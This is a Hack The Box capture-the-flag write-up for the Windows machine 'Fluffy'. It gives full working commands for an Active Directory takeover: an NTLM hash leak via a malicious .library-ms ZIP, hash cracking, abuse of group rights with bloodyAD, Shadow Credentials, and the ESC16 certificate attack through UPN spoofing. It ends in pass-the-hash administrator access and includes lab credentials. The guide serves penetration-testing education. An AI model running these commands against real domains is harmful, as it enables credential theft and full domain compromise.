Fluffy

OS	Difficulty	Machine	Released
Windows	Easy	Active	24/05/2025

Machine Information As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!

---

Nmap Scan

sudo nmap 10.10.11.69 -T4 -A -open -p-

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-21 04:05:16Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-21T04:06:58+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-21T04:06:56+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-07-21T04:06:58+00:00; +6h59m59s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-21T04:06:56+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49727/tcp open  msrpc         Microsoft Windows RPC
49750/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-21T04:06:17
|_  start_date: N/A
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   170.58 ms 10.10.16.1
2   170.95 ms 10.10.11.69

We get some important data about target:

---

SMB

So i started by testing the SMB port using the initial credentials:

nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

Then we expanded and downloaded everything using:

nxc smb fluffy.htb  -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M spider_plus -o DOWNLOAD_FLAG=True

Checked the downloaded SMB files and found a PDF called Upgrade_Notice.pdf looked suspicious from the IT department listing CVEs affecting the current Windows version. One of them, CVE-2025-24996 (NTLM File Path Spoofing), has a working PoC on GitHub.

CVE-2025-24996: NTLM Hash Leak via .library-ms File

the link of POC: https://github.com/FOLKS-iwd/CVE-2025-24071-msfvenom?utm_source=chatgpt.com

Let’s start exploiting it.

After following the steps in the PoC:

• Loaded the Metasploit module

• Set the attacker IP, filename, library name, and SMB share

• Ran the module and generated the malicious ZIP file (exploit.zip)

Once the victim extracts the ZIP, Windows Explorer automatically processes the embedded .library-ms file. This triggers a connection attempt to the attacker's SMB server, resulting in NTLMv2 hash leakage.

You should see an output similar to the following:

This hash can now be cracked offline using tools like hashcat or john to recover the user's cleartext password.

hashcat -m 5600 -a 0 ntlmv2.txt /home/kali/Downloads/rockyou.txt

now you have credentials of user target

P.AGILA 
prometheusx-303

---

BloodHound

I used the credentials for [e-mail] and analyzed them with BloodHound.

bloodhound-python -u 'p.agila' -p 'prometheusx-303'  -d fluffy.htb -ns 10.10.11.69 -c All --zip 

I found that this user is part of the SERVICE ACCOUNT MANAGERS group, which has GenericAll privileges over the SERVICE ACCOUNTS group. This means full control i can add or remove users, and modify settings for that group.

let's see what we got, SERVICE ACCOUNTS contains key accounts such as:

• [e-mail]

• [e-mail]

• [e-mail]

If we see the user CA_SVC, it's likely related to Certificate Services, and it may open a path to Active Directory Certificate Services (AD CS) exploitation.

This gives p.agila the ability to modify attributes of ca_svc, a critical step for Shadow Credentials or Other attacks related to Certificate Services.

bloodyAD --host '10.10.11.69' -d 'dc01.fluffy.htb' -u 'p.agila' -p 'prometheusx-303'  add groupMember 'SERVICE ACCOUNTS' p.agila

By adding p.agila to SERVICE ACCOUNTS, I can potentially escalate privileges and gain further control through these service accounts.

Now we are p.agila added to SERVICE ACCOUNTS what next step???

After some research, I discovered that the attack path involves Active Directory Certificate Services (AD CS) exploitation am one pf this attacks called

To better understand this technique, I referenced this detailed blog: https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally.

https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6

---

Shadow Credentials → $User

The old tool certipy-ad is outdated, so I used the updated and maintained Certipy tool instead https://github.com/ly4k/Certipy don't mix between them

certipy shadow -u '[e-mail]' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'WINRM_SVC' auto

The KRB_AP_ERR_SKEW error occurs because your machine’s clock is out of sync with the Domain Controller (10.10.11.69), breaking Kerberos authentication for the Shadow Credentials attack. Fix it by syncing time with sudo ntpdate 10.10.11.69 .

Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)

It means your machine's clock is out of sync with the domain controller and Kerberos hates that.

Fix it with:

bashCopyEditsudo systemctl stop systemd-timesyncd
sudo ntpdate 10.10.11.69

This stops the system time service and manually syncs your clock with the DC (10.10.11.69), so you can get Kerberos tickets properly again.

Session or Token Issues Notice

When using tools like bloodyAD or Certipy for Active Directory attacks, the session or authentication token used for actions like group addition may expire or become invalid during a delay. This can cause the attack to fail if group membership hasn’t fully propagated across domain controllers. Re-authentication may be required to ensure permissions are active before proceeding.

Now you can connected to the target (10.10.11.69) via WinRM, authenticating with the hash to access a shell and find the user flag .

evil-winrm -i 10.10.11.69 -u WINRM_SVC -H :<hash>

---

ESC16 → #Root

We tried enumerating certificate vulnerabilities. The user p.agila lacked permissions, but the privileged account CA_SVC succeeded.

certipy find -vulnerable -u CA_SVC -hashes :<hash> -dc-ip 10.10.11.69

We discovered the ESC16 vulnerability. Only accounts like CA_SVC can find such issues due to higher privileges.

First, I changed the login name (UPN) of the ca_svc account to look like administrator. that make system into thinking ca_svc is the administrator

certipy account -u '[e-mail]' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update

Next, I used certipy shadow to inject a fake login certificate into the ca_svc account. Since the name was changed to administrator, the certificate will now be created for the admin account.

certipy shadow -u '[e-mail]' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto

By doing this, I became administrator on the domain.

certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'

Now that ca_svc is using the name administrator, we ask the Certificate Authority (CA) to give us a certificate for that user.

certipy account -u '[e-mail]' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn '[e-mail]' -user 'ca_svc' update

We restore the UPN of ca_svc to its original value after the attack to avoid breaking any services or scripts that rely on that account. Leaving it as administrator could cause problems or trigger alerts, so changing it back keeps everything stable and less suspicious.

certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

Now we can authenticate (log in) as the real administrator using the .pfx certificate we got earlier:

evil-winrm -i 10.10.11.69 -u administrator -H <hash>

Thanks for Reading!

hackthebox ,HTB , machines , retired